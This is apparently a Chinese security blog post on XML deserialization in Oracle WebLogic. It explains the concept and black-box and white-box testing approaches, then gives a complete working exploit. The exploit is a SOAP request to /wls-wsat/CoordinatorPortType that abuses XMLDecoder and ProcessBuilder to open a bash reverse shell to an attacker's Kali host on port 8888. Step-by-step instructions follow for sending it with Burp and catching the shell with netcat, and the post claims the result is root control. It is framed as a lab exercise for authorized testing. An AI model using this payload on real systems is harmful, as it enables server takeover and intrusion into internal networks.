【weblogic】XML反序列化漏洞

序列化: 将程序中的一个对象(Object)的状态(如属性、值)转换成一种可以存储或传输的格式(如XML字符串、二进制流)的过程。

反序列化: 是序列化的逆过程。将存储或传输的格式(如XML字符串)还原成一个内存中的活的对象(Object)的过程。

XML反序列化: 特指使用XML格式(如SOAP、Web服务的常用协议)作为序列化数据格式的反序列化操作。

用Bp 向目标WebLogic服务器发送了一个精心构造的SOAP请求 。这个请求的核心是利用WebLogic的WorkContext处理机制中的一个反序列化漏洞

第一段:黑盒测试方法

在黑盒测试场景下,检测XML反序列化漏洞主要依赖于对应用程序通信流量的分析。测试人员首先需要拦截并检查所有的HTTP请求,重点关注那些使用XML作为数据主体的接口,例如基于SOAP的WebService或配置失当的REST API。随后,通过有策略地修改XML结构,例如插入某些无害的测试标签,可以观察服务器的响应是否出现异常行为或暴露出有价值的错误信息(如Java类名、框架标识等)。为了进一步验证,可以提交公开的、无害的测试Payload,例如触发一个时间延迟或一个外部的DNS查询,通过观察应用程序是否存在预期的延迟或网络外联行为来判断漏洞是否存在。此外,借助Burp Suite的专项扩展(如Freddy)或其它自动化扫描工具,可以系统性地辅助完成这一检测过程。

第二段:白盒测试方法

在白盒测试场景下,代码审计是发现XML反序列化漏洞最直接有效的方法。安全人员可以直接在源代码中搜索危险的反序列化函数关键字,例如Java中的 XMLDecoder.readObject()、XStream库的 fromXML()或 .NET框架中的 XmlSerializer.Deserialize()。定位到这些关键函数后,审计的核心在于逆向追踪其输入参数的数据来源,仔细检查这些参数是否直接来源于用户可控的输入(如HTTP请求参数、Cookie、Header),或者是否在经过了不充分的校验后间接传递到了反序列化函数中。这种从代码层面进行的溯源分析,能够精准地识别出潜在的安全风险点

bash 复制代码
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.142.133:7001    #centos的ip和端口,也就是启动靶场环境的ip和端口
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.142.162/8888 0&gt;&amp;1</string>   #ip是kali的,开了8888监听端口的ip
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

repeter上放这段代码,然后修改ip,在kali上开启监听

开启网络监听器(Netcat),等待来自目标服务器的连接。

BP按发送

response第一行,服务器返回了500 Internal Server Error。表明恶意载荷已经被服务器处理,并且很可能已经触发了漏洞,导致服务器尝试执行注入的命令

说明已经**成功入侵了服务器,并获得了最高权限(root),**可以在上面执行任意命令(查看、修改、删除文件,安装软件,作为跳板攻击内网其他机器等)。

特别强调:安全人员授权测试

相关推荐
用户962377954482 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机5 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544810 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全